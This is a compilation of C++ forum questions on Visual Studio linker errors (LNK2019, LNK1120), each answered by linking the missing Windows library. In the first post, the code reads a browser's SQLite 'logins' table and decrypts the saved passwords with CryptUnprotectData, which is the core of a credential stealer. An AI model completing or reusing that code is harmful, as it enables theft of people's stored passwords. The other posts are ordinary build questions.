LNK1120 & LNK2019 Errors - c++

I am trying to learn SQLite3 API, when I debug fatal errors occur.
Known that i configured the linker to compile it as a console.
Error 1 error LNK2019: unresolved external symbol _CryptUnprotectData#28 referenced in function _main ....\"filename".obj
Error 2 error LNK1120: 1 unresolved externals Debug\"filename".exe
Here is the code :
#include <stdio.h>
#include <conio.h>
#include "sqlite3.h"
#include <stdlib.h>
#include <Windows.h>
int main()
{
sqlite3_initialize();
sqlite3 *sqlHandle;
int call;
char *tail = NULL;
sqlite3_stmt *stmt = NULL;
const FILE *fileHandle = "C:\\Users\\"username"\\Desktop\\Data.sqlite";
call = sqlite3_open_v2(fileHandle, &sqlHandle, SQLITE_OPEN_READONLY,NULL);
if (call != SQLITE_OK)
{
sqlite3_close(sqlHandle);
exit(EXIT_SUCCESS);
}
//preparing statement to be executed
if (sqlite3_prepare_v2(sqlHandle, "SELECT action_url,username_value,password_value FROM logins", sizeof(char)*60, &stmt, &tail) != SQLITE_OK)
{
sqlite3_close(sqlHandle);
printf("Can't retrieve data: %s\n", sqlite3_errmsg(sqlHandle));
}
CRYPT_INTEGER_BLOB *blob;
CRYPT_INTEGER_BLOB *UnprotectedBlob = NULL;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
blob = sqlite3_column_text(stmt, 2);
if (CryptUnprotectData(blob, NULL, NULL, NULL, NULL, 0, UnprotectedBlob))
{
printf("%s | %s | %s \n",
sqlite3_column_text(stmt, 0),
sqlite3_column_text(stmt, 1),
UnprotectedBlob->cbData);
}
}
sqlite3_finalize(stmt);
sqlite3_close(sqlHandle);
sqlite3_shutdown();
_getch();
return 1;
}

You need to link with the CryptoAPI library. You can do that either from the project properties for the linker (Configuration Properties > Linker > Input > Additional dependencies), or from code with a #pragma directive.
#pragma comment(lib, "Crypt32")

Related

Error on building C++ code in node-gyp when using PathFileExists and PathQuoteSpaces from Shlwapi

I'm really a noob in C++, but I have C++ code and when I run node-gyp build it throws:
error LNK2001: unresolved external symbol __imp_PathQuoteSpacesA
and
error LNK2001: unresolved external symbol __imp_PathFileExistsA.
My code:
#include <node.h>
#include <Shlwapi.h>
// Full path and name of the API
static char g_szAPI[MAX_PATH] = "";
// Handle on the QuickVision window used to comunicate
static HWND g_hWndQV = NULL;
BOOL StartQV(LPSTR lpszCmdLine)
{
STARTUPINFO siStartInfo;
PROCESS_INFORMATION processInfo;
char szCmd[1024];
DWORD retval = 0;
// First we get the installation path and name from the registry
if (!GetApiFullNameFromRegistry(g_szAPI, sizeof(g_szAPI))) {
return FALSE;
}
// If the path name has spaces, the full path name must be enclosed with quotation marks before calling CreateProcess
PathQuoteSpaces(g_szAPI); //<----throw error LNK2001: unresolved external symbol __imp_PathQuoteSpacesA
return (BOOL)retval;
}
BOOL GetApiFullNameFromRegistry(char* szAPI, DWORD dwBufLen)
{
HKEY hKey=0;
LONG retval= -1;
BOOL Flag = FALSE;
if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGISTRY_KEY, 0, KEY_QUERY_VALUE|KEY_WOW64_32KEY, &hKey))
{
retval = RegQueryValueEx(hKey, "MjExec", NULL, NULL, (LPBYTE)szAPI, &dwBufLen);
RegCloseKey(hKey);
}
Flag = ERROR_SUCCESS == retval && dwBufLen != 0;
if (Flag) {
Flag = PathFileExists(szAPI); //<----throw error LNK2001: unresolved external symbol __imp_PathFileExistsA
}
return Flag;
}
When I comment the code that throws an error, the code is built successfully.
It was necessary to add #pragma comment(lib, "Shlwapi.lib") at the top of the script to solve the problem
Result:
#pragma comment(lib, "Shlwapi.lib") // <-- adding this
#include <node.h>
#include <Shlwapi.h>
// Full path and name of the API
static char g_szAPI[MAX_PATH] = "";
// Handle on the QuickVision window used to comunicate
static HWND g_hWndQV = NULL;
BOOL StartQV(LPSTR lpszCmdLine)
{
STARTUPINFO siStartInfo;
PROCESS_INFORMATION processInfo;
char szCmd[1024];
DWORD retval = 0;
// First we get the installation path and name from the registry
if (!GetApiFullNameFromRegistry(g_szAPI, sizeof(g_szAPI))) {
return FALSE;
}
// If the path name has spaces, the full path name must be enclosed with quotation marks before calling CreateProcess
PathQuoteSpaces(g_szAPI); // <-- now it works fine
return (BOOL)retval;
}
BOOL GetApiFullNameFromRegistry(char* szAPI, DWORD dwBufLen)
{
HKEY hKey=0;
LONG retval= -1;
BOOL Flag = FALSE;
if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, REGISTRY_KEY, 0, KEY_QUERY_VALUE|KEY_WOW64_32KEY, &hKey))
{
retval = RegQueryValueEx(hKey, "MjExec", NULL, NULL, (LPBYTE)szAPI, &dwBufLen);
RegCloseKey(hKey);
}
Flag = ERROR_SUCCESS == retval && dwBufLen != 0;
if (Flag) {
Flag = PathFileExists(szAPI); // <-- now it works fine
}
return Flag;
}

How to resolve the Winusb linking error?

I've written a WinUSB project for obtaining data from spectrometer, the code seems to work few weeks ago. In the later stage I tried to link this project with CUDA, after few trials I solved the CUDA linker error. Unfortunately I ended up "error LNK2019: unresolved external symbol" in my main program(Winusb project). At first I thought it was because of the .cu files and I decided to remove all the .CU(CUDA)files form the project and still I was keep on getting the same error(LNK2019).
The following is my code for Winusb project (which was working perfectly few weeks back, but now I'm completely lost and needed some help)
Main.cpp
#include "pch.h"
#include <cstdio>
LONG __cdecl _tmain(LONG Argc, LPTSTR * Argv )
{
FILE *output_file1 = fopen("output_file2.txt", "w");
//FILE *output_file2 = fopen("output_file3.txt", "w");
DEVICE_DATA deviceData;
HRESULT hr;
USB_DEVICE_DESCRIPTOR deviceDesc;
BOOL bResult;
BOOL noDevice;
ULONG lengthReceived;
BOOL wrResult = TRUE;
BOOL wr1Result = TRUE;
BOOL RQResult = 0;
UNREFERENCED_PARAMETER(Argc);
UNREFERENCED_PARAMETER(Argv);
//////////////////////Open device ///////////////
hr = OpenDevice(&deviceData, &noDevice);
if (FAILED(hr)) {
if (noDevice) {
printf(_T("Device not connected or driver not installed\n"));
} else {
printf(_T("Failed looking for device, HRESULT 0x%x\n"), hr);
}
std::getchar();
return 0;
}
/////////////////////Get descriptor//////////////////
bResult = WinUsb_GetDescriptor(deviceData.WinusbHandle,
USB_DEVICE_DESCRIPTOR_TYPE,
0,
0,
(PBYTE) &deviceDesc,
sizeof(deviceDesc),
&lengthReceived);
if (FALSE == bResult || lengthReceived != sizeof(deviceDesc)) {
printf(_T("Error among LastError %d or lengthReceived %d\n"),
FALSE == bResult ? GetLastError() : 0,
lengthReceived);
CloseDevice(&deviceData);
return 0;
}
bool sResult = FALSE;bool syResult;
bool sResult1 = FALSE;bool syResult1;
//Initialize
UCHAR Intialize[] = {0x01};
ULONG cbISize = strlen((char*)Intialize);
ULONG InSent = 0;
wrResult = WinUsb_WritePipe(deviceData.WinusbHandle, 0x01, Intialize, 1, &InSent, 0);
//Integration time - 700ms
UCHAR Inttime[] = {0x0200100000};
ULONG cbITSize = strlen((char*)Inttime);
ULONG InttimeSent = 0;
wrResult = WinUsb_WritePipe(deviceData.WinusbHandle, 0x01, Inttime, 5, &InttimeSent, 0);
//strobe signal
UCHAR strobe1[] = {0x030001};
ULONG strobeSize1 = strlen((char*)strobe1);
ULONG strobeSent1 = 0;
wr1Result = WinUsb_WritePipe(deviceData.WinusbHandle, 0x01, strobe1, 3, &strobeSent1, 0);
//Request spectra
UCHAR Rqspectra[] = {0x09};
ULONG RqSize = strlen((char*)Rqspectra);
ULONG RqSent = 0;
RQResult = WinUsb_WritePipe(deviceData.WinusbHandle, 0x01, Rqspectra,1, &RqSent, 0);
//Pixel Values
UCHAR szBuffer[15][512];
UCHAR sz1Buffer[1];
UCHAR tBuffer[1];
ULONG tReadx;
ULONG cbReadx[16];
USHORT newbuf[15][512];
short specbu[7860];
for (int i=0;i<16;i++)
{
if (i<4)
{
sResult = WinUsb_ReadPipe(deviceData.WinusbHandle, 0x86, szBuffer[i], 512, &cbReadx[i], 0);
}
else if (i>=4 && i<15)
{
sResult = WinUsb_ReadPipe(deviceData.WinusbHandle, 0x82, szBuffer[i], 512, &cbReadx[i], 0);
}
else if (i = 15)
{
syResult = WinUsb_ReadPipe(deviceData.WinusbHandle, 0x82, sz1Buffer, 1, &cbReadx[i], 0);
}
}
int pon=0;
for (int k=0;k<15;k++)
{
for (int l=0;l<512;l+=2)
{
newbuf[k][l] = (szBuffer[k][(l+1)]<<8|szBuffer[k][l]);
specbu[pon]= (szBuffer[k][(l+1)]<<8|szBuffer[k][l]);
fprintf(output_file1,"%d\t\n",specbu[pon]);
pon++;
}
}
std::getchar();
CloseDevice(&deviceData);
return 0;
}
My Pch.h
#include <Windows.h>
#include <tchar.h>
#include <strsafe.h>
#include <winusb.h>
#include <usb.h>
#include "device.h"
My device.h
#include
//
// Device Interface GUID.
// Used by all WinUsb devices that this application talks to.
// Must match "DeviceInterfaceGUIDs" registry value specified in the INF file.
// 390a138c-f867-4538-8fd4-46063b842d2b
//
DEFINE_GUID(GUID_DEVINTERFACE_USBApplication2,
0x390a138c,0xf867,0x4538,0x8f,0xd4,0x46,0x06,0x3b,0x84,0x2d,0x2b);
typedef struct _DEVICE_DATA {
BOOL HandlesOpen;
WINUSB_INTERFACE_HANDLE WinusbHandle;
HANDLE DeviceHandle;
TCHAR DevicePath[MAX_PATH];
}
DEVICE_DATA, *PDEVICE_DATA;
HRESULT
OpenDevice(
_Out_ PDEVICE_DATA DeviceData,
_Out_opt_ PBOOL FailureDeviceNotFound
);
VOID
CloseDevice(
_Inout_ PDEVICE_DATA DeviceData
);
My build log
1>------ Build started: Project: USB Application2, Configuration: Win7 Debug Win32 ------
1> main.cpp
1>main.obj : error LNK2019: unresolved external symbol "long __stdcall OpenDevice(struct _DEVICE_DATA *,int *)" (?OpenDevice##YGJPAU_DEVICE_DATA##PAH#Z) referenced in function _main
1>main.obj : error LNK2019: unresolved external symbol "void __stdcall CloseDevice(struct _DEVICE_DATA *)" (?CloseDevice##YGXPAU_DEVICE_DATA###Z) referenced in function _main
1>C:\Users\bel1\Documents\Visual Studio 2012\Projects\USB Application2\Win7Debug\USBApplication2.exe : fatal error LNK1120: 2 unresolved externals
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
========== Deploy: 0 succeeded, 0 failed, 0 skipped ==========
You will need to add source files (.CPP) into your project that are having implementation of following functions:
OpenDevice
CloseDevice
If you are using a third party library, you need to put the relevant .LIB file into Linker Input of project settings.

How can I download the HTML contents of a webpage using C++ [duplicate]

This question already has answers here:
What is an undefined reference/unresolved external symbol error and how do I fix it?
(39 answers)
Closed 8 years ago.
Here is my code
#include <iostream>
#include <Windows.h>
#include <WinInet.h>
using namespace std;
int main()
{
HINTERNET hSession, hURL;
char* Buffer = new char[1024];
DWORD BufferLen, BytesWritten;
HANDLE FileHandle;
hSession = InternetOpenA(NULL, 0, NULL, NULL, 0);
hURL = InternetOpenUrlA(hSession, "http://www.google.co.uk", NULL, 0, 0, 0);
FileHandle = CreateFileA("C:\\temp.txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
BytesWritten = 0;
do
{
InternetReadFile(hURL, Buffer, 1024, &BufferLen);
WriteFile(FileHandle, Buffer, BufferLen, &BytesWritten, NULL);
} while (BufferLen != 0);
CloseHandle(FileHandle);
InternetCloseHandle(hURL);
InternetCloseHandle(hSession);
ShellExecuteA(0, "open", "C:\\temp.txt", NULL, NULL, 1);
cout << "Operation complete!";
system("PAUSE");
return 0;
}
Here are the errors I am encountering
error LNK2019: unresolved external symbol __imp__InternetOpenA#20 referenced in function _main
error LNK2019: unresolved external symbol __imp__InternetCloseHandle#4 referenced in function _main
error LNK2019: unresolved external symbol __imp__InternetOpenUrlA#24 referenced in function _main
error LNK2019: unresolved external symbol __imp__InternetReadFile#16 referenced in function _main
I don't understand where I am going wrong. I have imported Wininet.h and Windows.h. Why is it still having trouble locating these functions? Regards.
What you have done is include the header file, but not linked to the actual code which implements it.
Include Wininet.lib in your project.
Project->Properties->Configuration Properties->Linker->Input->Additional Dependencies

VS10 C++ - Fatal Error LNK 1120

I am trying to create a simple C++ app that would search and list all .wav files on my PC. I am trying to figure out the LNK 1120 error but with no luck. Can anyone point me in the right direction with this one and tell me what am I doing wrong here?
#include "stdafx.h"
#include "iostream"
#include "Shlwapi.h"
#include "windows.h"
void FindFilesRecursively(LPCTSTR lpFolder, LPCTSTR lpFilePattern);
int _tmain(int argc, _TCHAR* argv[])
{
LPCTSTR loc = "C://";
LPCTSTR ft = ".wav";
FindFilesRecursively(loc, ft);
return 0;
}
void FindFilesRecursively(LPCTSTR lpFolder, LPCTSTR lpFilePattern)
{
TCHAR szFullPattern[MAX_PATH];
WIN32_FIND_DATA FindFileData;
HANDLE hFindFile;
// first we are going to process any subdirectories
PathCombine(szFullPattern, lpFolder, _T("*"));
hFindFile = FindFirstFile(szFullPattern, &FindFileData);
if(hFindFile != INVALID_HANDLE_VALUE)
{
do
{
if(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// found a subdirectory; recurse into it
PathCombine(szFullPattern, lpFolder, FindFileData.cFileName);
FindFilesRecursively(szFullPattern, lpFilePattern);
}
} while(FindNextFile(hFindFile, &FindFileData));
FindClose(hFindFile);
}
// now we are going to look for the matching files
PathCombine(szFullPattern, lpFolder, lpFilePattern);
hFindFile = FindFirstFile(szFullPattern, &FindFileData);
if(hFindFile != INVALID_HANDLE_VALUE)
{
do
{
if(!(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
{
// found a file; do something with it
PathCombine(szFullPattern, lpFolder, FindFileData.cFileName);
std::cout << (_T("%s\n"), szFullPattern);
}
} while(FindNextFile(hFindFile, &FindFileData));
FindClose(hFindFile);
}
}
These are the error messages that I receive
1>------ Build started: Project: SearchForFile, Configuration: Debug Win32 ------
1>SearchForFile.cpp
1>SearchForFile.obj : error LNK2019: unresolved external symbol __imp__PathCombineA#12 referenced in function "void __cdecl FindFilesRecursively(char const *,char const *)" (?FindFilesRecursively##YAXPBD0#Z)
1>c:\users\User\documents\visual studio 2010\Projects\SearchForFile\Debug\SearchForFile.exe : fatal error LNK1120: 1 unresolved externals
> ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
The PathCombine function is in the Shlwapi.lib library, you will need to add this library to your projects linker settings.
Open your project settings and navigate to "Configuration Properties->Linker->Input" and go to the option for "Additional Dependencies" and add the library Shlwapi.lib there.

ERROR 2019 Linker Error Visual Studio

Hey I hope someone can tell me know to fix this issue I am having i keep getting an error 2019 from Visual studio for the following file. Now most of the functions have been removed so excuse the empty varriables etc.
Error error LNK2019: unresolved external symbol "void * __cdecl OpenOneDevice(void *,struct _SP_DEVICE_INTERFACE_DATA *,char *)" (?OpenOneDevice##YAPAXPAXPAU_SP_DEVICE_INTERFACE_DATA##PAD#Z) referenced in function _wmain c:\Users\K\documents\visual studio 2010\Projects\test2\test2\test2.obj test2
#include "stdafx.h"
#include <windows.h>
#include <setupapi.h>
SP_DEVICE_INTERFACE_DATA deviceInfoData;
HDEVINFO hwDeviceInfo;
HANDLE hOut;
char *devName;
//
HANDLE OpenOneDevice(IN HDEVINFO hwDeviceInfo,IN PSP_DEVICE_INTERFACE_DATA DeviceInfoData,IN char *devName);
//
HANDLE OpenOneDevice(IN HDEVINFO HardwareDeviceInfo,IN PSP_DEVICE_INTERFACE_DATA DeviceInfoData,IN char *devName) {
PSP_DEVICE_INTERFACE_DETAIL_DATA functionClassDeviceData = NULL;
ULONG predictedLength = 0, requiredLength = 0;
HANDLE hOut = INVALID_HANDLE_VALUE;
SetupDiGetDeviceInterfaceDetail(HardwareDeviceInfo, DeviceInfoData, NULL, 0, &requiredLength, NULL);
predictedLength = requiredLength;
functionClassDeviceData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)malloc(predictedLength);
if(NULL == functionClassDeviceData) {
return hOut;
}
functionClassDeviceData->cbSize = sizeof (SP_DEVICE_INTERFACE_DETAIL_DATA);
if (!SetupDiGetDeviceInterfaceDetail(HardwareDeviceInfo, DeviceInfoData, functionClassDeviceData,
predictedLength, &requiredLength, NULL)) {
free( functionClassDeviceData );
return hOut;
}
//strcpy(devName,functionClassDeviceData->DevicePath) ;
hOut = CreateFile(functionClassDeviceData->DevicePath, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
free(functionClassDeviceData);
return hOut;
}
//
int _tmain(int argc, _TCHAR* argv[])
{
hOut = OpenOneDevice (hwDeviceInfo, &deviceInfoData, devName);
if(hOut != INVALID_HANDLE_VALUE)
{
// error report
}
return 0;
}
Been driving me mad for hours. Any help appreciated.
SOLVED THANKS TO CHRIS :-)
Add #pragma comment (lib, "Setupapi.lib")
Thanks